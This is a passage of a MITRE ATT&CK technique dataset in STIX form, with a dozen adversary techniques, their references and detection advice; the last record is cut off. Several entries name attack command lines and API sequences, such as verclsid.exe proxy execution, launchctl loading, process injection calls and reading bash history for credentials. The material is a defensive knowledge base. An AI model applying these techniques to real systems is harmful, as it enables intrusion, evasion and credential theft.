attack-pattern | attack-pattern--7e7c2fba-7cca-486c-9582-4c1bb2851961 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2021-02-22T14:20:31.650000Z" | "2023-03-22T14:19:50.768000Z" | Mark-of-the-Web Bypass | Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named <code>Zone.Identifier</code> with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)
Adversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1553.005",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1553/005"
},
{
"description": "Beek, C. (2020, December 3). Investigating the Use of VHD Files By Cybercriminals. Retrieved February 22, 2021.",
"external_id": null,
"source_name": "Beek Use of VHD Dec 2020",
"url": "https://medium.com/swlh/investigating-the-use-of-vhd-files-by-cybercriminals-3f1f08304316"
},
{
"description": "Hegt, S. (2020, March 30). Mark-of-the-Web from a red team’s perspective. Retrieved February 22, 2021.",
"external_id": null,
"source_name": "Outflank MotW 2020",
"url": "https://outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/"
},
{
"description": "Kennedy, J. (2020, December 9). A Zebra in Gopher's Clothing: Russian APT Uses COVID-19 Lures to Deliver Zebrocy. Retrieved February 22, 2021.",
"external_id": null,
"source_name": "Intezer Russian APT Dec 2020",
"url": "https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/"
},
{
"description": "Microsoft. (2020, August 31). Zone.Identifier Stream Name. Retrieved February 22, 2021.",
"external_id": null,
"source_name": "Microsoft Zone.Identifier 2020",
"url": "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/6e3f7352-d11c-4d76-8c39-2516a9df36e8"
},
{
"description": "wordmann. (2022, February 8). Disable Disc Imgage. Retrieved February 8, 2022.",
"external_id": null,
"source_name": "Disable automount for ISO",
"url": "https://gist.github.com/wdormann/fca29e0dcda8b5c0472e73e10c78c3e7"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor compressed/archive and image files downloaded from the Internet as the contents may not be tagged with the MOTW. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.(Citation: Disable automount for ISO) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.1 |
attack-pattern | attack-pattern--7efba77e-3bc4-4ca5-8292-d8201dcd64b5 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-19T19:11:18.757000Z" | "2020-10-21T22:37:48.503000Z" | Disable Crypto Hardware | Adversaries disable a network device’s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data.
Many network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](https://attack.mitre.org/techniques/T1601), forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001)). (Citation: Cisco Blog Legacy Device Attacks) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1600.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1600/002"
},
{
"description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "Cisco Blog Legacy Device Attacks",
"url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | There is no documented method for defenders to directly identify behaviors that disable cryptographic hardware. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601) and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some detection methods require vendor support to aid in investigation. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Network"
] | 1.0 |
attack-pattern | attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2019-11-13T14:44:49.439000Z" | "2024-02-26T14:26:14.364000Z" | Pre-OS Boot | Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)
Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
] | false | [
{
"description": null,
"external_id": "T1542",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1542"
},
{
"description": "Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018.",
"external_id": null,
"source_name": "ITWorld Hard Disk Health Dec 2014",
"url": "https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html"
},
{
"description": "Wikipedia. (n.d.). Booting. Retrieved November 13, 2019.",
"external_id": null,
"source_name": "Wikipedia Booting",
"url": "https://en.wikipedia.org/wiki/Booting"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes. Take snapshots of boot records and firmware and compare against known good images. Log changes to boot records, BIOS, and EFI, which can be performed by API calls, and compare against known good behavior and patching.
Disk check, forensic utilities, and data from device drivers (i.e. processes and API calls) may reveal anomalies that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014) | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"Windows",
"Network",
"macOS"
] | 1.2 |
attack-pattern | attack-pattern--800f9819-7007-4540-a520-40e655876800 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2021-03-30T17:54:03.944000Z" | "2023-04-15T16:22:09.807000Z" | Build Image on Host | Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote <code>build</code> request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)
An adversary may take advantage of that <code>build</code> API to build a custom image on the host that includes malware downloaded from their C2 server, and then they may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts)(Citation: Aqua Security Cloud Native Threat Report June 2021) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it’s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1612",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1612"
},
{
"description": "Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021.",
"external_id": null,
"source_name": "Aqua Build Images on Hosts",
"url": "https://blog.aquasec.com/malicious-container-image-docker-container-host"
},
{
"description": "Docker. ( null). Docker Engine API v1.41 Reference - Build an Image. Retrieved March 30, 2021.",
"external_id": null,
"source_name": "Docker Build Image",
"url": "https://docs.docker.com/engine/api/v1.41/#operation/ImageBuild"
},
{
"description": "Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021.",
"external_id": null,
"source_name": "Aqua Security Cloud Native Threat Report June 2021",
"url": "https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor for unexpected Docker image build requests to the Docker daemon on hosts in the environment. Additionally monitor for subsequent network communication with anomalous IPs that have never been seen before in the environment that indicate the download of malicious code. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Containers"
] | 1.3 |
attack-pattern | attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-14T01:27:31.344000Z" | "2021-10-18T12:21:11.178000Z" | Portable Executable Injection | Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process.
PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
] | false | [
{
"description": null,
"external_id": "T1055.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1055/002"
},
{
"description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
"external_id": null,
"source_name": "Elastic Process Injection July 2017",
"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>CreateRemoteThread</code> and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.1 |
attack-pattern | attack-pattern--808e6329-ca91-4b87-ac2d-8eadc5f8f327 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-08-10T13:59:38.443000Z" | "2022-05-20T17:35:28.221000Z" | Verclsid | Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe)
Adversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running <code>verclsid.exe /S /C {CLSID}</code>, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)). Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1218.012",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1218/012"
},
{
"description": "BOHOPS. (2018, August 18). Abusing the COM Registry Structure (Part 2): Hijacking & Loading Techniques. Retrieved August 10, 2020.",
"external_id": null,
"source_name": "BOHOPS Abusing the COM Registry",
"url": "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/"
},
{
"description": "Haag, M., Levan, K. (2017, April 6). Old Phishing Attacks Deploy a New Methodology: Verclsid.exe. Retrieved August 10, 2020.",
"external_id": null,
"source_name": "Red Canary Verclsid.exe",
"url": "https://redcanary.com/blog/verclsid-exe-threat-detection/"
},
{
"description": "LOLBAS. (n.d.). Verclsid.exe. Retrieved August 10, 2020.",
"external_id": null,
"source_name": "LOLBAS Verclsid",
"url": "https://lolbas-project.github.io/lolbas/Binaries/Verclsid/"
},
{
"description": "Tyrer, N. (n.d.). Instructions. Retrieved August 10, 2020.",
"external_id": null,
"source_name": "Nick Tyrer GitHub",
"url": "https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5"
},
{
"description": "verclsid-exe. (2019, December 17). verclsid.exe File Information - What is it & How to Block . Retrieved August 10, 2020.",
"external_id": null,
"source_name": "WinOSBite verclsid.exe",
"url": "https://www.winosbite.com/verclsid-exe/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Use process monitoring to monitor the execution and arguments of verclsid.exe. Compare recent invocations of verclsid.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of verclsid.exe may also be useful in determining the origin and purpose of the payload being executed. Depending on the environment, it may be unusual for verclsid.exe to have a parent process of a Microsoft Office product. It may also be unusual for verclsid.exe to have any child processes or to make network connections or file modifications. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 2.0 |
attack-pattern | attack-pattern--81033c3b-16a4-46e4-8fed-9b030dd03c4a | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-01T01:17:15.965000Z" | "2023-04-11T01:08:56.774000Z" | Compromise Accounts | Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona.
A variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: AnonHBGary)(Citation: Microsoft DEV-0537) Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.
Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.
Adversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
] | false | [
{
"description": null,
"external_id": "T1586",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1586"
},
{
"description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.",
"external_id": null,
"source_name": "AnonHBGary",
"url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/"
},
{
"description": "Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022.",
"external_id": null,
"source_name": "Microsoft DEV-0537",
"url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.
Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)). | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.2 |
attack-pattern | attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-03-10T18:26:56.187000Z" | "2021-10-15T18:40:23.141000Z" | Launchctl | Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)
Adversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands include: <code>launchctl load</code>,<code>launchctl unload</code>, and <code>launchctl start</code>. Adversaries can use scripts or manually run the commands <code>launchctl load -w "%s/Library/LaunchAgents/%s"</code> or <code>/bin/launchctl load</code> to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)
| [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
] | false | [
{
"description": null,
"external_id": "T1569.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1569/001"
},
{
"description": "SS64. (n.d.). launchctl. Retrieved March 28, 2020.",
"external_id": null,
"source_name": "Launchctl Man",
"url": "https://ss64.com/osx/launchctl.html"
},
{
"description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
"external_id": null,
"source_name": "Sofacy Komplex Trojan",
"url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
},
{
"description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.",
"external_id": null,
"source_name": "20 macOS Common Tools and Techniques",
"url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Every Launch Agent and Launch Daemon must have a corresponding plist file on disk which can be monitored. Monitor for recently modified or created plist files with a significant change to the executable path executed with the command-line <code>launchctl</code> command. Plist files are located in the root, system, and users <code>/Library/LaunchAgents</code> or <code>/Library/LaunchDaemons</code> folders.
Monitor command-line execution of the <code>launchctl</code> command immediately followed by abnormal network connections. [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s with executable paths pointing to <code>/tmp</code> and <code>/Shared</code> folders locations are potentially suspicious.
When removing [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s ensure the services are unloaded prior to deleting plist files. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"macOS"
] | 1.1 |
attack-pattern | attack-pattern--810d8072-afb6-4a56-9ee7-86379ac4a6f3 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-01T00:58:35.269000Z" | "2022-04-19T15:55:58.319000Z" | Botnet | Adversaries may compromise numerous third-party systems to form a botnet that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service, adversaries may build their own botnet by compromising numerous third-party systems.(Citation: Imperva DDoS for Hire) Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
] | false | [
{
"description": null,
"external_id": "T1584.005",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1584/005"
},
{
"description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019.",
"external_id": null,
"source_name": "Dell Dridex Oct 2015",
"url": "https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation"
},
{
"description": "Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October 4, 2020.",
"external_id": null,
"source_name": "Imperva DDoS for Hire",
"url": "https://www.imperva.com/learn/ddos/booters-stressers-ddosers/"
},
{
"description": "Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020.",
"external_id": null,
"source_name": "Norton Botnet",
"url": "https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498). | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.0 |
attack-pattern | attack-pattern--818302b2-d640-477b-bf88-873120ce85c4 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-20T00:09:33.072000Z" | "2022-04-19T20:28:09.848000Z" | Network Device CLI | Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands.
Scripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004).
Adversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.(Citation: Cisco Synful Knock Evolution) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
] | false | [
{
"description": null,
"external_id": "T1059.008",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1059/008"
},
{
"description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.",
"external_id": null,
"source_name": "Cisco IOS Software Integrity Assurance - Command History",
"url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23"
},
{
"description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.",
"external_id": null,
"source_name": "Cisco Synful Knock Evolution",
"url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Consider reviewing command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration.(Citation: Cisco IOS Software Integrity Assurance - Command History)
Consider comparing a copy of the network device configuration against a known-good version to discover unauthorized changes to the command interpreter. The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Network"
] | 1.1 |
attack-pattern | attack-pattern--8187bd2a-866f-4457-9009-86b0ddedffa3 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-04T13:02:11.685000Z" | "2022-03-08T21:34:44.728000Z" | Bash History | Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user’s <code>.bash_history</code> file. For each user, this file resides at the same location: <code>~/.bash_history</code>. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
] | false | [
{
"description": null,
"external_id": "T1552.003",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1552/003"
},
{
"description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.",
"external_id": null,
"source_name": "External to DA, the OS X Way",
"url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitoring when the user's <code>.bash_history</code> is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like "history" instead of commands like <code>cat ~/.bash_history</code>. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS"
] | 1.1 |
attack-pattern | attack-pattern--824add00-99a1-4b15-9a2d-6c5683b7b497 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2021-10-08T14:06:28.212000Z" | "2023-10-03T16:40:15.445000Z" | Downgrade Attack | Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls. Downgrade attacks typically take advantage of a system’s backward compatibility to force it into less secure modes of operation.
Adversaries may downgrade and use various less-secure versions of features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) or [Network Sniffing](https://attack.mitre.org/techniques/T1040).(Citation: Praetorian TLS Downgrade Attack 2014) For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL) which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018)(Citation: att_def_ps_logging)
Adversaries may similarly target network traffic to downgrade from an encrypted HTTPS connection to an unsecured HTTP connection that exposes network data in clear text.(Citation: Targeted SSL Stripping Attacks Are Real)(Citation: Crowdstrike Downgrade) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1562.010",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1562/010"
},
{
"description": "Bart Lenaerts-Bergman. (2023, March 14). WHAT ARE DOWNGRADE ATTACKS?. Retrieved May 24, 2023.",
"external_id": null,
"source_name": "Crowdstrike Downgrade",
"url": "https://www.crowdstrike.com/cybersecurity-101/attack-types/downgrade-attacks/"
},
{
"description": "Check Point. (n.d.). Targeted SSL Stripping Attacks Are Real. Retrieved May 24, 2023.",
"external_id": null,
"source_name": "Targeted SSL Stripping Attacks Are Real",
"url": "https://blog.checkpoint.com/research/targeted-ssl-stripping-attacks-are-real/amp/"
},
{
"description": "Falcon Complete Team. (2021, May 11). Response When Minutes Matter: Rising Up Against Ransomware. Retrieved October 8, 2021.",
"external_id": null,
"source_name": "CrowdStrike BGH Ransomware 2021",
"url": "https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-big-game-hunting-ransomware-attack/"
},
{
"description": "Hao, M. (2019, February 27). Attack and Defense Around PowerShell Event Logging. Retrieved November 24, 2021.",
"external_id": null,
"source_name": "att_def_ps_logging",
"url": "https://nsfocusglobal.com/attack-and-defense-around-powershell-event-logging/"
},
{
"description": "Hastings, M. (2014, July 16). Investigating PowerShell Attacks. Retrieved December 1, 2021.",
"external_id": null,
"source_name": "inv_ps_attacks",
"url": "https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/"
},
{
"description": "Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) – A Novel Red Teaming Technique. Retrieved October 8, 2021.",
"external_id": null,
"source_name": "Mandiant BYOL 2018",
"url": "https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique"
},
{
